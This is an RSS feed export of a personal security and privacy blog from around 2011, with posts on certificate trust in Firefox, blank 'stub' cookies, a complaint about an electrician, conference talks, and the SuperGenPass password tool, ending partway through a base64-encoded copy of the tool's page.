&lt;li&gt;Restart Firefox when prompted&lt;/li&gt; 
&lt;/ol&gt;If you want to take it a step further, there is the &lt;a href=&quot;https://addons.mozilla.org/en-us/firefox/addon/perspectives/&quot;&gt;Perspectives&lt;/a&gt; add-on. What this does is contact a specialised notary that comments on how long the certificate presented by the site has been &amp;quot;seen&amp;quot;. The add-on will them assign a &amp;quot;trustworthyness&amp;quot; based on how consistent the answers between notaries are, and how long the certificate has remained the same. Thus, if you are being man-in-the-middle&#039;d the certificate presented would be different from any the notaries had seen and a failure would be issued.&lt;br /&gt; 
&lt;p&gt;&lt;em&gt;Update: Updated to avoid about:config changes.&lt;/em&gt;&lt;br /&gt; &lt;em&gt;Update II: Added SHA sum of cert trust DB and fixed some spelling.&lt;br /&gt;Update III: Referenced perspectives&lt;/em&gt;&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Sat, 26 Mar 2011 18:04:54 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1026-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Stub Cookies</title>
    <link>http://www.singe.za.net/blog/archives/1025-Stub-Cookies.html</link>
            <category>Privacy</category>
    
    <comments>http://www.singe.za.net/blog/archives/1025-Stub-Cookies.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1025</wfw:comment>

    <slash:comments>1</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1025</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;
This is a quick note, partially for my own purposes of memory, of an idea. I tried to hit a GoToMeeting page earlier today. I didn&#039;t need to log on, just needed some basic information. The problem was it has one of those irritating &lt;a href=&quot;https://www3.gotomeeting.com/cookies/cookieDetector&quot;&gt;cookie detector pages&lt;/a&gt;. Essentially, even though it doesn&#039;t need to set a cookie, it tries to, and if it can&#039;t, redirects you to &amp;quot;Sorry, you don&#039;t have cookies enabled.&amp;quot;&lt;/p&gt;
&lt;p&gt;In those situations, you need to allow the site to set a cookie, and then remove the cookie afterwards. Add-ons like CookieSafe let you use &amp;quot;Temporary Permissions&amp;quot; but those are set for much longer than a single page request. So you end up with an unnecessary cookie, potentially used for tracking that you don&#039;t need.&lt;/p&gt;
&lt;p&gt;The cookies it sets are:&lt;/p&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;Set-Cookie: g2mVisitor=FirstVisit%3D1299181701998%26LastVisit%3D1299185151317%26RSN%3DDEFAULT; g2mSession=SessionInfo%3D200000000028062301%253A41EA01704E81824; JSESSIONID=abcldXoZn-6ZjaEQ4q95s&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;What I tried, was to send a fake Cookie: header, with all three of the cookie names it was looking for, but with blank values for each. It worked perfectly. They looked like:&lt;/p&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;Cookie: g2mVisitor=; g2mSession=; JSESSIONID=&lt;/font&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;My suggestion then is that CookieManagers provide a &amp;quot;Stub Cookie&amp;quot; option, where a site that wants cookies, but doesn&#039;t need them, can think it has set the cookies, but in truth just be getting blank values. It&#039;s a quick change that should have minimal impact. I had a quick look at CookieSafe&#039;s code (I can&#039;t seem to find any contact details for the author), and I&#039;m hoping it&#039;s as easy to implement as it looks.&lt;/p&gt;
&lt;p&gt;Time, time, time...&lt;br /&gt;&lt;/p&gt;  
    </content:encoded>

    <pubDate>Thu, 03 Mar 2011 22:40:31 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1025-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Fraudsters: AAA Plumbing &amp; Electrical</title>
    <link>http://www.singe.za.net/blog/archives/1022-Fraudsters-AAA-Plumbing-Electrical.html</link>
            <category>Play</category>
    
    <comments>http://www.singe.za.net/blog/archives/1022-Fraudsters-AAA-Plumbing-Electrical.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1022</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1022</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;Last night we lost power to all electrical outlets in our house. On checking the board, I saw that it was the earth leakage, which I was unable to turn back on. This is a story about AAA Electrical (also know as AAA Plumbing, or AAA Electrical or AAA Plumbing &amp;amp; Electrical), and how they tried to defraud me, and appeared to have done it to many others. Don&#039;t use them. If you need a reliable &amp;amp; honest electrician use:&lt;/p&gt; 
&lt;p align=&quot;center&quot;&gt;Andrew: +27 82 443 7762 &lt;br /&gt;&lt;/p&gt; &lt;p&gt;It was a Sunday night, the fridge was off, and the prospect of no espresso in the morning was galling. I phoned the first full page ad in the yellow pages mentioning my area and &amp;quot;no callout fees, free quotes&amp;quot;, &lt;a href=&quot;http://www.yellowpages.co.za/search.jsp?query=aaa+electrical&amp;amp;location=&quot; title=&quot;Yellow Pages Listing&quot;&gt;AAA Electrical&lt;/a&gt;. The lady who answered, Cynthia, was polite and efficient. However, neither her, not the two other electricians I phones were able to give me even a ballpark figure. 20 years in the business it said, evidently earth leakages are still too tricksy to hypothetical quote on.&lt;/p&gt; 
&lt;p&gt;An hour later, Kenny and his partner Eziechiele arrived in an Isuzu bakkie (GP plates, started with an S). He unscrewed a bunch of wires in my board, set his ammeter to them, and proclaimed he had found the short; &amp;quot;It was a surge from the grid&amp;quot; he said. That&#039;s strange, nothing blew, none of the flats around me were affected. I didn&#039;t believe him. He then phoned Cynthia at the &amp;quot;head office&amp;quot; and returned with a quote of just less than R5k! I asked how much it would be to just replace the earth leakage switch, and not &amp;quot;clear the short&amp;quot;, just less that R2k! This was clearly outrageous, so I sent him packing, but not after paying their R395 &amp;quot;call out fee&amp;quot;, oops, they mean &amp;quot;quotation fee&amp;quot;, no wait the ad said they didn&#039;t charge that either, ok, it&#039;s an &amp;quot;analysis fee&amp;quot;. I also asked that he put everything back the way it was...&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;I then phoned the next electrician, Willem, who balked as I did at the outrageous quote, and said he could do it for half i.e. R2.5k. Wow.&lt;/p&gt; 
&lt;p&gt;Finally, I remembered that a good friend used to manage several electrical contractors and I phoned him for advice. He gave me the number of Andrew, listed above, and said he&#039;d trust him with his kids. Much better. I phoned Andrew at 8am the next day, and by 9:30 he&#039;d been round, performed the trivial task of resetting the earth leakage (you have to push it down hard, my bad) and agreed to charge me nothing more than his basic call out fee. What he did point out, is that Kenny had left several wires improperly screwed, and the neutral wires completely unscrewed. The only thing he attempted to screw right, was me.&lt;/p&gt; 
&lt;p&gt;It&#039;s sad that these guys can&#039;t operate an honest business, and feel they need to make their money through quoting for radically unnecessary work and attempting to damage your electrics further. This is the definition of fraud I am using. It appears I&#039;m not the only one who&#039;s had a run in with them, &lt;a title=&quot;AAA Plumbing &amp;amp; Electrical&quot; href=&quot;http://www.hellopeter.com/search_results.php?search=AAA+Plumbing+%26+Electrical&quot;&gt;several&lt;/a&gt;, &lt;a href=&quot;http://pel42.blat.co.za/2009/02/02/aaa-electrical/&quot;&gt;others&lt;/a&gt; got &lt;a href=&quot;http://www.hellopeter.com/aaa-electrical-complaint-%5B508989%5D&quot; title=&quot;AAA Electrical&quot;&gt;screwed much worse&lt;/a&gt;.&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Mon, 24 Jan 2011 10:05:10 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1022-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Upcoming Talks, Workshops &amp; Training - ZA / US / Emirates</title>
    <link>http://www.singe.za.net/blog/archives/1011-Upcoming-Talks,-Workshops-Training-ZA-US-Emirates.html</link>
            <category>Play</category>
    
    <comments>http://www.singe.za.net/blog/archives/1011-Upcoming-Talks,-Workshops-Training-ZA-US-Emirates.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1011</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1011</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;It seems my work on privacy has garnered some attention of late. Whether earned or not, I will be presenting at the &lt;a title=&quot;CSI VX&quot; href=&quot;http://www.csivx.com/content.htm&quot;&gt;Computer Security Institute&#039;s Virtual Conference CSIVX&lt;/a&gt; on the 28th of September. I will be on hand to answer questions, even though it will be some silly hour ZA time. This is technically the first &amp;quot;international&amp;quot; event I&#039;ve ever &amp;quot;presented (see pre-recorded video for)&amp;quot; at, and it includes the likes of Ira Winkler, Amit Klein and Jeff Williams.&lt;/p&gt; 
&lt;p&gt;I&#039;ll also be presenting on privacy at IS&#039; &lt;a href=&quot;http://www.internetix2010.co.za/blog/&quot;&gt;Internetix2010&lt;/a&gt; conference in both Jozi &amp;amp; Cape Town. Internetix is a rocking conference organised by IS, and I&#039;m chuffed to have been invited. It will be a nice chance to test the privacy stuff with a large non-sec crowd.&lt;/p&gt; 
&lt;p&gt;Next up, I&#039;ll also be presenting a workshop on Threat Modelling off the back of quite a lot of work we (my employer SensePost, and I) have done on it recently. If you want to get an idea of the content, have a look at the &lt;a href=&quot;http://www.sensepost.com/cms/resources/labs/tools/management/ctm/ThreatModelingWorkshop-ITWebSummit2010.zip&quot;&gt;last set of slides&lt;/a&gt;. It&#039;s hosted by the ISF and will be held in Jozi on the 28th.&lt;/p&gt; 
&lt;p&gt;Finally, I&#039;ll most likely be giving the SensePost training at &lt;a href=&quot;http://www.blackhat.com/html/bh-ad-10/bh-ad-10-home.html&quot;&gt;BlackHat Abu Dhabi&lt;/a&gt; in Nov. If we get over around 15 people I can justify someone smarter than me from SensePost joining us, so if you&#039;re keen for some training, please sign-up :)&lt;br /&gt; &lt;/p&gt;  
    </content:encoded>

    <pubDate>Wed, 22 Sep 2010 10:00:58 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1011-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>SuperGenPass Update</title>
    <link>http://www.singe.za.net/blog/archives/1023-SuperGenPass-Update.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1023-SuperGenPass-Update.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1023</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1023</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    I made a small update to &lt;a title=&quot;SuperGenPass-singe&quot; href=&quot;http://singe.za.net/sgp/&quot;&gt;SuperGenPass&lt;/a&gt; (&lt;a href=&quot;http://singe.za.net/blog/archives/987-SuperGenPass.html&quot;&gt;full write up&lt;/a&gt;) to randomise several of the variable names. This will prevent &lt;a title=&quot;Example SGP exploit&quot; href=&quot;http://singe.za.net/exploit/sgp.html&quot;&gt;this exploit&lt;/a&gt; from working. It is by no means fool proof, and I&#039;d still recommend using the Data URI or other out of band version for full assurance. I&#039;ve been using it for a few weeks now with no incident. Additionally, as the randomisation is done per user, and up-front, I&#039;d recommend &lt;a title=&quot;TLS SuperGenPass&quot; href=&quot;/sgp/&quot;&gt;hitting the page&lt;/a&gt; via TLS. I use a self-signed cert, the fingerprints are on the right of my blog.  
    </content:encoded>

    <pubDate>Tue, 01 Mar 2011 14:46:43 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1023-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>VodaSMS Update</title>
    <link>http://www.singe.za.net/blog/archives/1024-VodaSMS-Update.html</link>
            <category>Geek</category>
    
    <comments>http://www.singe.za.net/blog/archives/1024-VodaSMS-Update.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1024</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1024</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    Vodacom switched from the Vodacom4Me portal to a new Vodacom portal. I&#039;ve updated &lt;a href=&quot;http://singe.za.net/blog/archives/508-Commandline-SMS-v2.html&quot; title=&quot;Commandline SMS&quot;&gt;VodaSMS&lt;/a&gt; to deal with that. You can get it in the &lt;a href=&quot;/utils/vodasms.tar.gz&quot;&gt;usual place&lt;/a&gt;. The only caveat is that there&#039;s a strange MD5 value included in the SMS POST. It is currently consistent across logins, times and users. It may change per day, in which case this will stop working tomorrow. But I&#039;ll keep an eye on it and update accordingly.  
    </content:encoded>

    <pubDate>Tue, 01 Mar 2011 15:04:54 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1024-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>SuperGenPass</title>
    <link>http://www.singe.za.net/blog/archives/987-SuperGenPass.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/987-SuperGenPass.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=987</wfw:comment>

    <slash:comments>2</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=987</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    As someone who uses a lot of web apps, I run into the problem of trying to remember multiple passwords. Most people resolve this by just using the same password across all the sites. However, as &lt;a title=&quot;The Anatomy of the Twitter Attack&quot; href=&quot;http://www.techcrunch.com/2009/07/19/the-anatomy-of-the-twitter-attack/&quot;&gt;numerous&lt;/a&gt;, &lt;a title=&quot;Hotmail Breach Exposes Passwords&quot; href=&quot;http://blogs.zdnet.com/security/?p=4538&quot;&gt;examples&lt;/a&gt;, &lt;a title=&quot;Security Risk as People use Same Password on All Websites&quot; href=&quot;http://www.telegraph.co.uk/technology/news/6125081/Security-risk-as-people-use-same-password-on-all-websites.html&quot;&gt;have&lt;/a&gt;, &lt;a title=&quot;Spotify Breach Exposes other Accounts&quot; href=&quot;http://www.theregister.co.uk/2009/03/04/spotify_breach/&quot;&gt;demonstrated&lt;/a&gt;, that&#039;s not a good idea. The knee-jerk counter is to use a different password (or groups of passwords) across the sites, but that becomes difficult to remember. If you want the quick solution I&#039;m proposing then check out &lt;a href=&quot;http://supergenpass.com/&quot; title=&quot;SuperGenPass&quot;&gt;SuperGenPass&lt;/a&gt; (or &lt;a href=&quot;http://singe.za.net/sgp/&quot; title=&quot;Singe&#039;s SuperGenPass&quot;&gt;my customised version&lt;/a&gt;). The security geek details follow after the jump.&lt;br /&gt; &lt;p&gt;Some of my colleagues use password databases such as &lt;a title=&quot;KeePassX&quot; href=&quot;http://www.keepassx.org/&quot;&gt;KeyPassX&lt;/a&gt;, or the browser&#039;s &amp;quot;remember password&amp;quot; feature. These solutions are significantly better than using the same password across all sites, but suffer from a few problems:&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;You have all your passwords written down somewhere - at some point you may not be the only one looking at this list&lt;br /&gt;&lt;/li&gt; 
&lt;li&gt;That list isn&#039;t always protected - e.g. using Firefox&#039;s &amp;quot;remember password&amp;quot; feature without a master password could expose your password on physical theft of the device&lt;/li&gt; 
&lt;li&gt;Portability - if you aren&#039;t at your machine you can&#039;t log in. KeePassX is quite portable, but then ends up making more copies of the password list.&lt;br /&gt;&lt;/li&gt; 
&lt;/ul&gt; 
&lt;p&gt;None of these are killers, but they aren&#039;t ideal. This is where &lt;a title=&quot;SuperGenPass&quot; href=&quot;http://supergenpass.com/&quot;&gt;SuperGenPass&lt;/a&gt; comes in. SuperGenPass hashes a password with the domain to make a unique password per-site, meaning that a compromise or malicious admin on one site won&#039;t give them the password for another site. The main advantage is that there&#039;s no database or list of passwords lying around that could be compromised and you only need remember one password. If you wear lots of tinfoil like me, you can remember groups of passwords e.g. critical, important, arb sites. It&#039;s ridiculously portable with a &lt;a title=&quot;Bookmarklets&quot; href=&quot;http://supergenpass.com/#Start&quot;&gt;bookmarklet&lt;/a&gt; (don&#039;t use this, see below), &lt;a href=&quot;data:text/html;charset=utf-8;base64,PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIvaHRtbDQvc3RyaWN0LmR0ZCI%2BDQo8aHRtbCBsYW5nPSJlbiI%2BDQoNCgk8aGVhZD4NCg0KCQk8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCI%2BDQoJCTxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD0zMjAiPg0KCQk8bGluayByZWw9ImFsdGVybmF0aXZlIiBsYW5nPSJmciIgaHJlZmxhbmc9ImZyIiB0aXRsZT0iRW4gZnJhbsOnYWlzIiBocmVmPSJpbmRleC5mciI%2BDQoJCTxsaW5rIHJlbD0iYWx0ZXJuYXRpdmUiIGxhbmc9ImVzIiBocmVmbGFuZz0iZXMiIHRpdGxlPSJFbiBlc3Bhw7FvbCIgaHJlZj0iaW5kZXguZXMiPg0KCQk8bGluayByZWw9ImFsdGVybmF0aXZlIiBsYW5nPSJkZSIgaHJlZmxhbmc9ImRlIiB0aXRsZT0iQXVmIERldXRzY2giIGhyZWY9ImluZGV4LmRlIj4NCgkJPGxpbmsgcmVsPSJhbHRlcm5hdGl2ZSIgbGFuZz0icHQtYnIiIGhyZWZsYW5nPSJwdC1iciIgdGl0bGU9Ik5vIHBvcnR1Z3XDqnMgYnJhc2lsZWlybyIgaHJlZj0iaW5kZXgucHQtYnIiPg0KCQk8bGluayByZWw9ImFsdGVybmF0aXZlIiBsYW5nPSJ6aC1oayIgaHJlZmxhbmc9InpoLWhrIiB0aXRsZT0i57mB6auU5Lit5paHIiBocmVmPSJpbmRleC56aC1oayI%2BDQoJCTxsaW5rIHJlbD0iYWx0ZXJuYXRpdmUiIGxhbmc9Imh1IiBocmVmbGFuZz0iaHUiIHRpdGxlPSJNYWd5YXJ1bCIgaHJlZj0iaW5kZXguaHUiPg0KDQoJCTxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI%2BDQoNCgkJCWJvZHkgeyBtYXJnaW46MWVtOyBwYWRkaW5nOjA7IGJhY2tncm91bmQ6I2ZmZjsgY29sb3I6IzAwMDsgZm9udC1mYW1pbHk6SGVsdmV0aWNhLCBBcmlhbCwgc2Fucy1zZXJpZjsgfQ0KCQkJYSB7IGNvbG9yOiMzMzM7IH0NCgkJCWgyIHsgbWFyZ2luOjAgMCAxLjVlbSAwOyBmb250LXNpemU6MWVtOyB9DQoJCQloNCB7IG1hcmdpbjowIDAgMC4yNWVtIDA7IGZvbnQtc2l6ZToxZW07IH0NCgkJCXAgeyBtYXJnaW46MCAwIDEuNWVtIDA7IH0NCgkJCXAjV2FybmluZyB7IGNvbG9yOiNmMDA7IGZvbnQtd2VpZ2h0OmJvbGQ7IH0NCgkJCWlucHV0I0Rpc2FibGVUTEQgeyBtYXJnaW46MC41ZW0gMCAwIDA7IH0NCgkJCWlucHV0I0dlblBhc3N3ZCB7IGJvcmRlcjpzb2xpZCAycHggIzMzMzsgcGFkZGluZzozcHg7IH0NCgkJCWxhYmVsI1NtYWxsIHsgZm9udC1zaXplOjAuODVlbTsgfQ0KCQkJZGl2I0Zvb3RlciB7IGZsb2F0OmxlZnQ7IG1hcmdpbjowOyBwYWRkaW5nOjFlbSAwIDAgMDsgYm9yZGVyLXRvcDpzb2xpZCAxcHggI2NjYzsgfQ0KCQkJZGl2I0Zvb3RlciBwIHsgbWFyZ2luOjAgMCAxZW0gMDsgcGFkZGluZzowOyB9DQoNCgkJPC9zdHlsZT4NCg0KCQk8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI%2BDQoNCgkJCWZ1bmN0aW9uIGI2NF9tZDUocCkgew0KCQkJCXA9dXRmOF9lbihwKTsNCgkJCQlyZXR1cm4gYmlubDJiNjQoY29yZV9tZDUoc3RyMmJpbmwocCkscC5sZW5ndGgqOCkpOw0KCQkJfQ0KDQoJCQlmdW5jdGlvbiBoZXhfbWQ1KHApIHsNCgkJCQlwPXV0ZjhfZW4ocCk7DQoJCQkJcmV0dXJuIGJpbmwyaGV4KGNvcmVfbWQ1KHN0cjJiaW5sKHApLHAubGVuZ3RoKjgpKTsNCgkJCX0NCg0KCQkJZnVuY3Rpb24gYmlubDJiNjQoYmluYXJyYXkpIHsNCgkJCQl2YXIgdGFiPSdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OTk4JzsNCgkJCQl2YXIgc3RyPScnOw0KCQkJCWZvcih2YXIgaT0wOyBpPGJpbmFycmF5Lmxlbmd0aCo0OyBpKz0zKSB7DQoJCQkJCXZhciB0cmlwbGV0PSgoKGJpbmFycmF5W2k%2BPjJdPj44KihpJTQpKSYweEZGKTw8MTYpfCgoKGJpbmFycmF5W2krMT4%2BMl0%2BPjgqKChpKzEpJTQpKSYweEZGKTw8OCl8KChiaW5hcnJheVtpKzI%2BPjJdPj44KigoaSsyKSU0KSkmMHhGRik7DQoJCQkJCWZvcih2YXIgaj0wOyBqPDQ7IGorKykgew0KCQkJCQkJc3RyKz10YWIuY2hhckF0KCh0cmlwbGV0Pj42KigzLWopKSYweDNGKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCQlyZXR1cm4gc3RyOw0KCQkJfQ0KDQoJCQlmdW5jdGlvbiBiaW5sMmhleChiaW5hcnJheSkgew0KCQkJCXZhciBoZXhfdGFiPScwMTIzNDU2Nzg5YWJjZGVmJzsNCgkJCQl2YXIgc3RyPScnOw0KCQkJCWZvcih2YXIgaT0wOyBpPGJpbmFycmF5Lmxlbmd0aCo0OyBpKyspIHsNCgkJCQkJc3RyKz1oZXhfdGFiLmNoYXJBdCgoYmluYXJyYXlbaT4%2BMl0%2BPigoaSU0KSo4KzQpKSYweEYpK2hleF90YWIuY2hhckF0KChiaW5hcnJheVtpPj4yXT4%2BKChpJTQpKjgpKSYweEYpOw0KCQkJCX0NCgkJCQlyZXR1cm4gc3RyOw0KCQkJfQ0KDQoJCQlmdW5jdGlvbiBjb3JlX21kNSh4LGxlbil7DQoJCQkJeFtsZW4%2BPjVdfD0weDgwPDwoKGxlbiklMzIpOyB4WygoKGxlbis2NCk%2BPj45KTw8NCkrMTRdPWxlbjsNCgkJCQl2YXIgYT0xNzMyNTg0MTkzOyB2YXIgYj0tMjcxNzMzODc5OyB2YXIgYz0tMTczMjU4NDE5NDsgdmFyIGQ9MjcxNzMzODc4Ow0KCQkJCWZvcih2YXIgaT0wO2k8eC5sZW5ndGg7aSs9MTYpew0KCQkJCQl2YXIgb2xkYT1hOyB2YXIgb2xkYj1iOyB2YXIgb2xkYz1jOyB2YXIgb2xkZD1kOw0KCQkJCQlhPW1kNV9mZihhLGIsYyxkLHhbaSswXSw3LC02ODA4NzY5MzYpOyBkPW1kNV9mZihkLGEsYixjLHhbaSsxXSwxMiwtMzg5NTY0NTg2KTsgYz1tZDVfZmYoYyxkLGEsYix4W2krMl0sMTcsNjA2MTA1ODE5KTsgYj1tZDVfZmYoYixjLGQsYSx4W2krM10sMjIsLTEwNDQ1MjUzMzApOw0KCQkJCQlhPW1kNV9mZihhLGIsYyxkLHhbaSs0XSw3LC0xNzY0MTg4OTcpOyBkPW1kNV9mZihkLGEsYixjLHhbaSs1XSwxMiwxMjAwMDgwNDI2KTsgYz1tZDVfZmYoYyxkLGEsYix4W2krNl0sMTcsLTE0NzMyMzEzNDEpOyBiPW1kNV9mZihiLGMsZCxhLHhbaSs3XSwyMiwtNDU3MDU5ODMpOw0KCQkJCQlhPW1kNV9mZihhLGIsYyxkLHhbaSs4XSw3LDE3NzAwMzU0MTYpOyBkPW1kNV9mZihkLGEsYixjLHhbaSs5XSwxMiwtMTk1ODQxNDQxNyk7IGM9bWQ1X2ZmKGMsZCxhLGIseFtpKzEwXSwxNywtNDIwNjMpOyBiPW1kNV9mZihiLGMsZCxhLHhbaSsxMV0sMjIsLTE5OTA0MDQxNjIpOw0KCQkJCQlhPW1kNV9mZihhLGIsYyxkLHhbaSsxMl0sNywxODA0NjAzNjgyKTsgZD1tZDVfZmYoZCxhLGIsYyx4W2krMTNdLDEyLC00MDM0MTEwMSk7IGM9bWQ1X2ZmKGMsZCxhLGIseFtpKzE0XSwxNywtMTUwMjAwMjI5MCk7IGI9bWQ1X2ZmKGIsYyxkLGEseFtpKzE1XSwyMiwxMjM2NTM1MzI5KTsNCgkJCQkJYT1tZDVfZ2coYSxiLGMsZCx4W2krMV0sNSwtMTY1Nzk2NTEwKTsgZD1tZDVfZ2coZCxhLGIsYyx4W2krNl0sOSwtMTA2OTUwMTYzMik7IGM9bWQ1X2dnKGMsZCxhLGIseFtpKzExXSwxNCw2NDM3MTc3MTMpOyBiPW1kNV9nZyhiLGMsZCxhLHhbaSswXSwyMCwtMzczODk3MzAyKTsNCgkJCQkJYT1tZDVfZ2coYSxiLGMsZCx4W2krNV0sNSwtNzAxNTU4NjkxKTsgZD1tZDVfZ2coZCxhLGIsYyx4W2krMTBdLDksMzgwMTYwODMpOyBjPW1kNV9nZyhjLGQsYSxiLHhbaSsxNV0sMTQsLTY2MDQ3ODMzNSk7IGI9bWQ1X2dnKGIsYyxkLGEseFtpKzRdLDIwLC00MDU1Mzc4NDgpOw0KCQkJCQlhPW1kNV9nZyhhLGIsYyxkLHhbaSs5XSw1LDU2ODQ0NjQzOCk7IGQ9bWQ1X2dnKGQsYSxiLGMseFtpKzE0XSw5LC0xMDE5ODAzNjkwKTsgYz1tZDVfZ2coYyxkLGEsYix4W2krM10sMTQsLTE4NzM2Mzk2MSk7IGI9bWQ1X2dnKGIsYyxkLGEseFtpKzhdLDIwLDExNjM1MzE1MDEpOw0KCQkJCQlhPW1kNV9nZyhhLGIsYyxkLHhbaSsxM10sNSwtMTQ0NDY4MTQ2Nyk7IGQ9bWQ1X2dnKGQsYSxiLGMseFtpKzJdLDksLTUxNDAzNzg0KTsgYz1tZDVfZ2coYyxkLGEsYix4W2krN10sMTQsMTczNTMyODQ3Myk7IGI9bWQ1X2dnKGIsYyxkLGEseFtpKzEyXSwyMCwtMTkyNjYwNzczNCk7DQoJCQkJCWE9bWQ1X2hoKGEsYixjLGQseFtpKzVdLDQsLTM3ODU1OCk7IGQ9bWQ1X2hoKGQsYSxiLGMseFtpKzhdLDExLC0yMDIyNTc0NDYzKTsgYz1tZDVfaGgoYyxkLGEsYix4W2krMTFdLDE2LDE4MzkwMzA1NjIpOyBiPW1kNV9oaChiLGMsZCxhLHhbaSsxNF0sMjMsLTM1MzA5NTU2KTsNCgkJCQkJYT1tZDVfaGgoYSxiLGMsZCx4W2krMV0sNCwtMTUzMDk5MjA2MCk7IGQ9bWQ1X2hoKGQsYSxiLGMseFtpKzRdLDExLDEyNzI4OTMzNTMpOyBjPW1kNV9oaChjLGQsYSxiLHhbaSs3XSwxNiwtMTU1NDk3NjMyKTsgYj1tZDVfaGgoYixjLGQsYSx4W2krMTBdLDIzLC0xMDk0NzMwNjQwKTsNCgkJCQkJYT1tZDVfaGgoYSxiLGMsZCx4W2krMTNdLDQsNjgxMjc5MTc0KTsgZD1tZDVfaGgoZCxhLGIsYyx4W2krMF0sMTEsLTM1ODUzNzIyMik7IGM9bWQ1X2hoKGMsZCxhLGIseFtpKzNdLDE2LC03MjI1MjE5NzkpOyBiPW1kNV9oaChiLGMsZCxhLHhbaSs2XSwyMyw3NjAyOTE4OSk7DQoJCQkJCWE9bWQ1X2hoKGEsYixjLGQseFtpKzldLDQsLTY0MDM2NDQ4Nyk7IGQ9bWQ1X2hoKGQsYSxiLGMseFtpKzEyXSwxMSwtNDIxODE1ODM1KTsgYz1tZDVfaGgoYyxkLGEsYix4W2krMTVdLDE2LDUzMDc0MjUyMCk7IGI9bWQ1X2hoKGIsYyxkLGEseFtpKzJdLDIzLC05OTUzMzg2NTEpOw0KCQkJCQlhPW1kNV9paShhLGIsYyxkLHhbaSswXSw2LC0xOTg2MzA4NDQpOyBkPW1kNV9paShkLGEsYixjLHhbaSs3XSwxMCwxMTI2ODkxNDE1KTsgYz1tZDVfaWkoYyxkLGEsYix4W2krMTRdLDE1LC0xNDE2MzU0OTA1KTsgYj1tZDVfaWkoYixjLGQsYSx4W2krNV0sMjEsLTU3NDM0MDU1KTsNCgkJCQkJYT1tZDVfaWkoYSxiLGMsZCx4W2krMTJdLDYsMTcwMDQ4NTU3MSk7IGQ9bWQ1X2lpKGQsYSxiLGMseFtpKzNdLDEwLC0xODk0OTg2NjA2KTsgYz1tZDVfaWkoYyxkLGEsYix4W2krMTBdLDE1LC0xMDUxNTIzKTsgYj1tZDVfaWkoYixjLGQsYSx4W2krMV0sMjEsLTIwN